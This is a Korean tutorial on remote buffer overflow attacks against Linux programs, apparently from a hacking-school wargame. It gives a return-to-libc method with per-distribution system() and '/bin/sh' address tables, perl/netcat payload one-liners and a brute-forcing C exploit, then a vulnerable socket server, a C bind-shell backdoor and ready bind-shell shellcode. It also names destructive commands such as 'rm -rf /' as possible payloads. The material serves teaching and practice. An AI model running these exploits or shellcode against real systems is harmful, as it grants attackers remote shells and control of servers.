공격 과정과 결과는 앞서 했던 것과 동일함으로 생략하도록 하겠다. (Exploit에서 RET이 저장되는 위치와 변수로 들어갈 쓰레기 값의 크기만 수정하면 될 것이다.)

 

, 다음 차례는 리모트 환경에서의 Return To Library 기법 활용법이다. 이런

공격 방식을 사용해야하는 경우는 거의 없겠지만, 가끔 wargame이나 hacking event등에서 문제를 위해 출제되는 경우가 있다.

 

일단, 우리가 사용할 라이브러리는 system() 함수라고 가정한다. 그럼, 이 함수의 주소를 어떻게 찾아낼 것인가?

 

이 함수는 /lib/i686/libc-2.2.5.so 공유 라이브러리에 존재하며, 프로세스가 실행 될 때 보통 42000000~4212c000 사이의 주소에 적재된다. 그럼 과연 이 주소를 모두 샅샅이 검색하여 system() 함수의 주소를 찾아야할까? 아마도 아무런 힌트도 없는 상황이라면 이 방법이 정석이겠지만, 다음과 같은 사실을 안다면 매우 쉽게 system 함수의 주소를 찾아낼 수 있다. 그 사실은 바로 "각 리눅스 배포본들의 system  함수 주소는 동일하다" 이다. , A라는 서버가 레드햇 8.0을 사용하고 있고, B라는 서버 역시 레드햇 8.0을 사용하고 있다면, A에서 조사된 system 함수의 주소가 B에서 조사된 system 함수의 주소와 동일하다는 말이다.

다음은 이 문서를 위하여 미리 조사한 각 배포본들의 system 함수 주소이다.

 

각 배포본들의 system 함수 주소 모음 (차후 계속 업데이트 예정)

 

=========================

레드햇 6.2 : 0x4005aae0

레드햇 7.3 : 0x42049e54

레드햇 9.0 : 0x4203f2c0

=========================

 

데몬으로 작동 중인 취약 프로그램의 환경이 레드햇 버젼 몇인지는 알 수 없을

것이다. 따라서, 위의 값들을 하나씩 차례대로 대입해나가며 확인을 하도록 한다.

 

===========================================================================

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\xe0\xaa\x05\x40"; printf

"\n"' | nc localhost 31337

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42"; printf

"\n"' | nc localhost 31337

sh: [?? command not found

[root@ftz BOF]#

===========================================================================

 

0x42049e54에서 command not found가 나타났다. 이로써 타겟의 환경이 레드햇 7.3임과 공유 라이브러리 내의 system 함수 위치를 알 수가 있다.

 

그럼 이제 필요한 것은 "/bin/bash", "/bin/sh", "bash", "sh" 등 쉘 명령을 의미 하는 문자열의 주소이다. 안타깝지만 이 문자열의 주소 역시 지금의 상황에서는 기가 막히게 찾아 내는 특별한 방법이 없다. 아무리 system() 함수의 주소를  알고 있다 하더라도 인자로 들어갈 문자열의 주소를 BRUTE FORCE로 찾아 내야 하기  때문에 리모트 상에서 RTL 기법은 그다지 메리트가 있지 않다. (하지만, 뒤에서 설명되는 RTL 응용 기법에서는 얘기가 달라진다.)

 

RTL 기법을 공부한 경험이 있다면, 강제로 호출된 system() 함수의 인자가 return address + 8 부분에 위치하게 된다는 사실을 알고 있을 것이다. 이 점을 감안하여 Brute Force 기능을 가진 Exploit을 구현해보자.

 

==========================================================================

#include <stdio.h>

 

int main()

{

        int *arg;

        char command[200];

 

        arg = (int *)0xc0000000;     // system 함수의 인자로 들어갈 주소 값.

 

        while(1){

                printf("&arg = %p\n", arg);

                sprintf(command, "(printf \"id\\n\" | (perl -e 'printf \"sh\\0\\0\"x31; printf \"\\x54\\x9e\\x04\\x42AAAA\"; printf \"%s\\n\"';cat)) | nc localhost 31337", &arg);

                system(command);

                arg--;          // 인자의 예상 주소를 4바이트씩 감소.

        }

}

 

==========================================================================

 

sprintf() 부분이 조금 조잡해 보이지만, 다음과 같이 정리해서 보면 쉽게 이해가 갈 것이다.

 

정리

$ perl -e 'printf "sh\0\0"x31; printf "\x54\x9e\x04\x42AAAA"; printf "?\n"

 

분석

printf "sh\0\0"x31 : 쉘을 의미하는 sh 명령이다. 인자로 불러질 때 문자열의 끝을 인식하도록 하기 위해 NULL을 넣어주었고, 4바이트 단위를 맞추기 위해 또 한번의 NULL을 넣어주었다. 이것이 저장되는 부분은 취약 프로그램의 지역 변수 이며, 0xc0000000 주소에서 4바이트씩 감소시키다 보면 언젠가는 이 부분을 가리 켜서 쉘을 실행하게 될 것이다.

 

printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소이며, 리턴 어드레스를 덮어 쓰게 된다. 그 뒤의 AAAA GARBAGE 4바이트이다. 리턴 어드레스로부터 8바이트  뒷 쪽의 값을 system 함수의 인자로 사용하기 때문이다.

 

printf "?\n" : BRUTE FORCE로 구한 인자의 주소가 입력되는 부분이다. ? 부분에 주소 값이 저장된다.

 

이렇게 보니 확실히 쉽다. 참고로 앞쪽의 printf "id\n" 부분은 공격에 성공하여 쉘을 획득한 후, 화면에 아무것도 나타나지 않아 우리가 공격이 성공했는지를 알기 어렵기 때문에 id 명령의 결과가 출력되도록 한 것이다.

 

이제 이 Exploit을 실행시켜보자.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

&arg = 0xbffffffc

&arg = 0xbffffff8

... 생략

sh: 000: command not found

&arg = 0xbfffff2c

&arg = 0xbfffff28

&arg = 0xbfffff24

&arg = 0xbfffff20

&arg = 0xbfffff1c

uid=1000(guest) gid=1000(guest)

(공격 성공)

====================================

 

1분도 채 안되서 0xbfffff1c에서 쉘 명령을 발견하였다. 그런데 얼핏 봐도 이 주소 영역가 취약 프로그램의 로컬 변수 영역은 아닌 것 같다. 과연 어떤 부분이길래 쉘 명령이 있는 것일까? GDB로 조사해보면.. 바로 "SHELL=/bin/bash" , 환경 변수에서 /bin/bash 문자열을 찾아냈던 것이다. 따라서 Exploit string의 앞 쪽에 "sh\0\0"을 가득 매웠던 것은 의미가 없었다. , 만약 이 환경변수의 "/bin/bash" 문자열의 시작 주소가 4바이트 단위로 딱 떨어지지 않았었다면, 위처럼 쉽게 쉘이 뜨지 않았을 것이다. 따라서 변수에 특정 문자열이 들어가게 하는 것이 아주 필요가  없는 것도 아니다. 하지만, 4바이트가 아닌 1바이트 단위로 arg의 주소를 감소시켜 나갔다면 얘기는 또 달라진다. 1바이트 단위로 BRUTE FORCE를 진행하면 100% 환경 변수의 "/bin/bash"를 참조할 수 있기 때문이다. 이런 점들을 모두 감안하여 각자가 알아서 가장 합리적인 방법으로 공격을 시도하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기

 

앞서 진행한 공격 결과를 자세히 보면 신기한 점이 발견된다.

 

====================================

[root@ftz BOF]# ./ex

&arg = 0xc0000000

sh: AAAA: command not found

...

====================================

 

바로 주소가 0xc0000000일 때, 우리가 GARBAGE로 넣었던 AAAA가 튀어나온 것이다.

어째서 이러한 결과가 나타난 것일까? 일단, return address + 8 부분에 들어가게 되는 값을 생각해보자. 이 부분의 값은 sprintf(command, "...%s..."), &arg); 부분에 의하여 &arg의 값. , 0xc0000000이 들어갈 것 같다. 하지만 조금 더 생각 해보면 0xc0000000 BIG ENDIAN으로 변환되어 0x000000c0과 같이 반대로 적용 된다는 것을 알 수 있다. 그럼, 첫 바이트가 NULL(0x00)이기 때문에 결국 return address + 8 부분에는 아무 것도 저장이 되지 않는다. 그리고, 그 대신 다음 이어지는 printf "\n" 부분에 의해서 엔터 키가 입력이 된다. 이제 취약 프로그램으로 이 문자열이 전송이 되고, 엔터인 \n은 문자열의 끝이었음을 의미함으로 자동으로 gets 함수에 의해 NULL로 변환 된다.

 

, 그럼 과연 이 상황에서의 스택에 어떤 것들이 담기게 되는지 dumpcode를 이용하여 살펴보자. 다음은 SFP 직전까지만 덮도록 문자열을 보낸 것의 덤프 결과이다.

 

0xbffffaa0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffab0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffac0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffad0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffae0 73 68 00 00 73 68 00 00 73 68 00 00 73 68 00 00   sh..sh..sh..sh..

0xbffffaf0 73 68 00 00 73 68 00 00 73 fb ff bf 99 74 01 42   sh..sh..8....t.B

0xbffffb00 01 00 00 00 64 fb ff bf 6c fb ff bf fa 82 04 08   ....d...l.......

 

위에서 0xbffffaf0 라인의 가장 오른쪽에 있는 \x42017499가 바로 main 함수의 올바른 리턴 어드레스이다. 그리고 리턴 어드레스의 시작 주소에서부터 8바이트 떨어진 곳을  보면, \xbffffb64가 위치한다. 그리고 이 것은 argv[0]의 주소이다. 이제 다시 공격 하는 상황으로 돌아가서, return address + 8 부분을 지정해주지 않은 채, \n가 입력되고, \n 0x00으로 변환되는 상황을  생각해보자.

 

그럼, 위 주소에서 0xbffffb00 부분에는 GARBAGE "AAAA"가 입력될 것이고, 바로 뒤의 \x64 \n이 되었다가 최종적으로는 \x00이 될 것이다. 따라서, return address+8의 값은 결국 \xbffffb00이 되어버린다. 그리고 그 부분에는? 그렇다. 바로 "AAAA" 가 있다. 그렇기 때문에 0xc0000000이 주소가 되었을 때 AAAA가 실행되었던 것이다.

이는 즉, 비단 0xc0000000 뿐만 아니라, 앞쪽 1바이트가 NULL이 되는 모든 주소일 때도 같은 상황이 나타나며, 아예 이 주소 값을 지정해주지 않아도 같은 상황이 나타 날 것이다.

 

, 위에서 AAAA가 위치하게 되는 0xbfffff00 주소 값이 시스템에 따라 항상 일정 한 것이 아니다. , 만약 AAAA가 위치하게 되는 주소가 0xbfffff10이라면, return address+8 부분의 첫 바이트가 NULL로 바뀌어봤자 전혀 소용이 없다. 따라서 이 공격은 AAAA가 위치하는 부분의 주소가 00으로 끝나는 환경에서만 적용된다는 단점이 있다. 그러나, 이 특징을 잘 이해하고, 여러가지 공격 테스트를 직접 경험하여 노하우를 쌓게 되면, return address+4 부분의 값이 보통 어떤 것이 된다는 것을 예측할 수 있게 될 것이다. 아마도 보통 0xbffffb00, 0xbffffb10, 0xbffffb20,... 0xbffffbf0, 16개 중의 하나가 될 것이다. 마지막 1바이트가 무조건 1이 되는 이유는 리턴 어드레스가 16바이트 단위로 정렬되어 dump했을 때 가장 뒷 부분에 위치하기 때문이다. 가장 뒷 부분은 0x???????f로 끝나게 됨으로 그 다음 바이트이며, AAAA가 위치했던 주소의 끝 바이트는 자연스럽게 0이 되는 것이다.

이 특징을 파악하였다면, 최대 16번 이내에 RTL 기법을 성공시킬 수 있음을 의미 한다. 텍스트 만으로는 이해가 힘들 것이니 더욱 자세한 내용은 직접 테스트를 해보며 학습하기 바란다.

 

단 한번에 RTL을 이용한 공격 성공시키기 2

 

이번엔 또 다른 방법으로 RTL 공격을 단 한번에 성공시키는 방법이다. 앞서 우리는 OS의 버젼만 동일하다면, 라이브러리 내의 system() 함수 주소 역시 동일하다는 것을 배웠다. 그럼, 라이브러리 내에 존재하는 "/bin/sh"라는 문자열의 위치 역시 항상 일정하지 않을까? 아마도 적재되는 라이브러리의 내용은 항상 정적임으로 system() 함수의 주소와 마찬가지로 일정한 주소 값에 위치하게 될 것이 확실하다.

그럼, 과연 라이브러리 내에 "/bin/sh"라는 문자열이 존재할까? 존재할 확률은 매우 크다. 일단, "/bin/sh"라는 문자열이 워낙 빈도있게 사용되는 문자열인데다가, system() 등의 쉘을 호출하는 함수들이 아마도 내부적으로 "/bin/sh"을 필요로 할 것이기 때문이다. 그럼, 다음과 같은 간단한 프로그램을 구현하여 라이브러리 내에서 "/bin/sh"라는 문자열을 찾아보도록 하자.

 

===========================================================

int main()

{

        char *pointer;

        pointer = (char *)0x42000000;

 

        while(1){

                pointer++;

                if(strncmp(pointer, "/bin/sh", 7)==0){

                        printf("Found : %p\n", pointer);

                        exit(0);

                }

        }

}

===========================================================

 

보다시피, 0x420000000에서 1바이트씩 증가해가며, "/bin/sh"라는 문자열을 검색한다.

그리고 만약 찾았을 경우 그 주소를 출력해준다. 위 프로그램을 실행해보자.

 

======================================

[root@ftz BOF]# gcc -o find find.c

[root@ftz BOF]# ./find

Found : 0x421273f3

[root@ftz BOF]#

======================================

 

위에 보이는 0x421273f3 주소에서 "/bin/sh"라는 문자열을 발견하였다. 이 주소 공간은 420000000 ~ 4212c000 사이의 값임으로, libc-2.2.5.so 공유 라이브러리 내의 값이라는 것을 /proc/self/maps 파일을 통해 유추할 수 있다.

 

, 이제 각 배포본에 해당하는 system() 함수 주소를 수집했던 것처럼 "/bin/sh" 주소의 값 역시 정리해보자.

 

각 배포본들의 system, "/bin/sh" 주소 모음 (차후 계속 업데이트 예정)

 

======================================

배포본       &system     &"/bin/sh"

--------------------------------------

레드햇 6.2 : 0x4005aae0  0x400fdff9

레드햇 7.3 : 0x42049e54  0x421273f3

레드햇 9.0 : 0x4203f2c0  0x42127ea4

======================================

 

이제 이 값들을 토대로 취약 프로그램에 대한 리모트 공격을 한번에 성공시켜보자.

 

취약 프로그램

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

공격

========================================================================

[root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA";

printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337

id

uid=1000(guest) gid=1000(guest)

(공격 성공)

========================================================================

 

공격 STRING 분석

 

- printf "A"x124 : 버퍼와 SFP를 덮을 쓰레기 값

- printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소 +

                                  쓰레기 4바이트(ret + 8에 인자가 위치함으로)

- printf "\xf3\x73\x12\x42" : "/bin/sh"의 주소

- printf "\n" : 엔터 (gets에 대한 입력의 끝을 알림)

 

이제 공격 과정이 너무나도 간단해졌다. 위 주소 모음을 수첩에 적어놓고 다니면

버퍼 오버플로우 공격은 따논 당상이 된다. 참고로 위 주소 값은 로컬 환경에서도 그대로 적용되며, 만약 위 주소 값과 실제 값이 다른 상황이라고 하더라도 로컬에서 직접 주소를 구하면 되니 걱정할 필요가 없다.

이로써 총 7가지 방법으로 리모트 오버플로우 공격을 시도해 보았다. 이 것으로

문서를 마치도록 하고, 조만간 Xinetd에 연결되지 않고, 독립적으로 구현된

네트워크 프로그램에 대한 공격 테스트를 이번에 한 것과 같은 순서로 설명하여

올리도록 하겠다.

 

 

 

 

 

 

리모트 버퍼 오버플로우 총정리2

made by Hackerschool_mongil

 

 

부제 : 독립적인 네트워크 프로그램에 대한 오버플로우 공격
 
Xinetd에 의해 네트워크에 연결된 로컬 프로그램은 그것의 표준 입출력 주체가 모두 해당 Port에 연결된 클라이언트가 된다. 그렇기 때문에, 오버플로우 공격에 성공 하여 쉘을 획득하게 되면, 그 쉘의 표준 입출력 역시 Xinetd의 덕으로 클라이언트와 연결이 되어 공격자가 자유롭게 쉘을 사용할 수 있었던 것이다. 하지만, Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. , 직접 socket을 생성하고, bindlisten 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send() recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가
서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다.
결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는
것이다. 이번 강좌에서는 이러한 상황에서 타겟 서버의 쉘을 획득하는 방법에 
대해 설명한다. 다음의 취약한 소스를 보자.
 
=============================================================================
// 리모트 버퍼 오버플로우 취약점을 가진 프로그램
// string 변수의 크기는 300바이트이나, recv() 함수로 400바이트를
// 입력받아 string 변수에 저장하는 과정에서 오버플로우 발생.
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        char string[300], sendmsg[400];
        // sendmsg 변수는 단순히 클라이언트로의 응답을 위한 것임.
 
        int sockfd, your_sockfd;
        struct sockaddr_in my_addr, your_addr;
        int len;
                
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(31337);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&my_addr.sin_zero, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){
                perror("bind error");
                exit(-1);
        }
        listen(sockfd, 5);
 
        while(1){
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        if(your_sockfd==-1){
                perror("accept error");
                exit(-1);
        }
 
        if(fork()!=0){
            close(your_sockfd);
            continue;
        }
        else
            break;
        }
        printf("connected from %s\n", inet_ntoa(your_addr.sin_addr));
        len = recv(your_sockfd, string, 400, 0);
        printf("String Length = %d\n", len);
        string[len-1] = '\0';
        sprintf(sendmsg, "당신이 입력한 문자열 : %s\n", string);
        send(your_sockfd, sendmsg, strlen(sendmsg), 0);
 
        close(sockfd);
        close(your_sockfd);
}
===========================================================================
 
위 프로그램은 TCP 31337번 포트를 생성한 후, 이 곳으로 접속된 클라이언트에게 한 번의 문자열을 입력 받은 후, 그것을 다시 클라이언트에게 출력해주고 종료한다.
이처럼, 독립적인 네트워크 프로그램으로 구현될 경우엔 소스 내의 send() recv()함수가 요청하고, 보내주는 입출력만 처리할 수 있다. , 위 프로그램의 경우엔 오로지 한 번 입력을 받고, 역시 한 번 출력을 할 수밖에 없는 것이다. 그럼 위와 같은 환경에서 string 변수를 overflow시켜 쉘을 획득했다고 해보자. 그럼, 그  쉘의 입력과 출력은 어디로 연결될까? 보다시피 main() 함수가 종료된 이후에는 아무런 send() recv() 함수도 존재하지 않음으로, 입력도 받을 수 없고, 출력 역시 할 수 없다. 더군다나, main() 함수가 종료되기 직전에 sockfd your_sockfd. , 통신에 사용하는 모든 소켓을 닫아버리기 때문에 쉘과 입출력 통신을 하는 것은 더욱 막연 하기 만하다. 아마도, 위 프로그램을 오버플로우 시켜 쉘을 띄우게 되면, 그 쉘을 실행하는 것은 프로그램의 백그라운드 프로세스가 될 것이다. , 공격자와 공격 대상자가 있을 때, 공격 대상자의 쉘이 다시 공격 대상자에게 실행되는  것이니 아무런 의미가 없다. 더군다나 실제로 위와 같은 형태에 네트워크 프로그램은 터미널에 연결되지 않은 데몬 형태로 작동하는 경우가 대부분이며, 그와 같은 경우엔 쉘이 실행되더라도 그 쉘을 받게되는 주체는 아무 것도 없게되고, 따라서 통신 대상이 없는 쉘은 실행된 즉시 소멸될 것이다. 
 
, 그럼 이와같은 상황에서 어떻게 공격을 구상해야할 것인가? 일단, 쉘코드. , 타겟 서버로 전송되는 기계어 코드가 꼭 쉘을 띄우는 것만일 필요는 없다는 점을 상기해야 한다. 다시 말해 타겟 서버에 명령을 내리는 어떠한 기계어도 실행시킬 수 있다는 얘기다. 따라서 꼭 쉘을 얻는 것만이 아닌 "rm -rf /" 역할을 하는 기계어도 실행시킬 수 있고, "adduser mirable"이라는 명령의 기계어도 실행시킬 수 있다는 말이다. 비록 직접적으로 쉘은 얻어내지 못하더라도 우리는 원하는 모든 명령을 타겟 서버에 실행되게 할 수가 있다. 그럼, 과연 어떤 기계어 코드를 전송해야 가장 효과적일까? passthru() 함수를 담은 /home/public_html/backdoor.php 파일을 만들까? 이건 좀 번거로워 보인다. 그럼, /usr/sbin/in.telnetd 프로그램을 이용 하여 백도어를 생성할까? 그나마 조금 괜찮은 방법이다. 하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 
있게 된다. 
 
, 그럼 이제 답은 나왔다. 지금까지 사용해왔던 "/bin/bash"를 실행하는 쉘코드는 독립적인 네트워크 프로그램에 대한 오버플로우 공격엔 아무런 쓸모가 없음으로 버려버리고, 대신 백도어 쉘을 생성하는 바인드 쉘 코드를 사용하도록 하자.
그럼, 먼저 바인드 쉘 프로그램을 C언어로 구현하여 그 동작 원리를 이해해 보도록 하자.
 
==========================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 0, 8);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash", "bash", 0);
 
        close(sockfd);
        close(your_sockfd);
}
==========================================================================
 
가장 핵심이 되는 부분은 dup2()가 사용된 세 줄이다. dup2()는 디스크립터 복사
함수로써, dup2(your_sockfd, 0) your_sockfd 디스크립터를 0 디스크립터로 복사 하라는 의미임으로 곧 0 your_sockfd가 된다. 0 stdin. , 표준 입력이며, 표준 입력이 your_sockfd(클라이언트와 연결된 소켓)가 된 것이다. , dup2(your_sockfd, 1)에 의해서 표준 출력의 주체 역시 클라이언트의 소켓이 되었다. 마지막 dup2(your_sockfd, 2)에 의해서 에러 출력의 주체도 클라이언트가 되었고,결과적으로 프로그램의 입출력 대상이 포트에 연결된 클라이언트가 되었다.
또한, 이 상태에서 "/bin/bash"를 실행하였으니, 쉘읠 입출력 대상 역시 클라이언트가 되는 것이고, 클라이언트 입장에서 볼 때는 마치 로컬에서 직접 쉘을 실행한 것과 같은 결과를 얻게 되는 것이다. (위 프로그램은 원리 이해를 쉽게하기 위하여 오직 한 번의 클라이언트부터의 연결만 받도록 구현되어있다. 여러 개의 클라이언트를 받거나, 쉘이 종료된 후에도 프로그램이 작동하도록 하려면, fork() 함수를 사용하여 접속이 올 때마다 똑같은 프로세스를 복사해서 실행하도록 수정하면 될 것이다.)
 
이제 위 C언어 코드를 기계어. 즉 백도어 쉘코드로 변환하는데, 직접 쉘코드를
구현하면 많은 시간과 지면이 소요됨으로 이 강좌에선 이미 완성된 백도어 쉘코드를 가져와 사용하도록 하겠다.
 
◎ TCP 45295 Port를 열어주는 Bind Shell 백도어 기계어 코드. (from sambal.c)
 
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
위 문자열은 총 210바이트이며, 이 용량을 수용하기위하여 취약 프로그램의
버퍼 크기를 넉넉하게 300 바이트로 할당한 것이었다.
그럼 이제 실제 공격 테스트를 진행해보자. 공격 환경은 다음과 같다.
 
==================================================================
Target : ftz.hackerschool.org, 레드햇 7.3, gcc 2.96
         다음과 같이 guest 계정으로 취약 프로그램을 실행한다.
 
[guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c
[guest@ftz guest]$ ./vuln_prog
==================================================================
 
공격자의 서버 환경은 유닉스 기반이기만하면 어떤 것이 되던지 상관없다. 
이 문서를 작성할 땐 같은 서버에 또 하나의 터미널로 접속한 후, localhost
공격을 테스트하였다.
 
==================================================================
[guest@ftz guest]$ telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
hello
당신이 입력한 문자열 : hello
Connection closed by foreign host.
[guest@ftz guest]$ 
==================================================================
 
그럼 이제 어떤 방법으로 공격할지를 구상해보자.
공격 방법을 쉽게 떠올릴려면, 취약한 루틴에 해당하는 버퍼 상태를 그림으로
그리는 것이 큰 도움이 된다.
 
* vuln_prog의 버퍼 모습 (STACK)
 
[sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ]
 
여기서 문제가 될 수 있는 것은 dummy이다. 컴파일러에 의해서 dummy가 추가될
수 있기 때문이다. 다음과 같은 간단한 테스트 프로그램을 만들어 dummy 생성
여부를 확인해 보자.
 
============================================
#include "dumpcode.h"
 
int main()
{
        char string[300], sendmsg[400];
 
        memset(string, 'A', 300);
        memset(sendmsg, 'B', 400);
 
        dumpcode(sendmsg, 800);
}
============================================
 
* 실행 결과
 
==============================================================================
[guest@ftz guest]$ gcc -o dummy dummy.c
[guest@ftz guest]$ ./dummy
0xbffff8a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff8f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff900  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff910  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff920  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff930  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff940  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff950  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff960  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff970  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff980  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff990  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9a0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9b0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9c0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9d0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9e0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffff9f0  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa00  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa10  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa20  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB
0xbffffa30  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa40  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa50  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa60  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa70  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa80  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffa90  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffaa0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
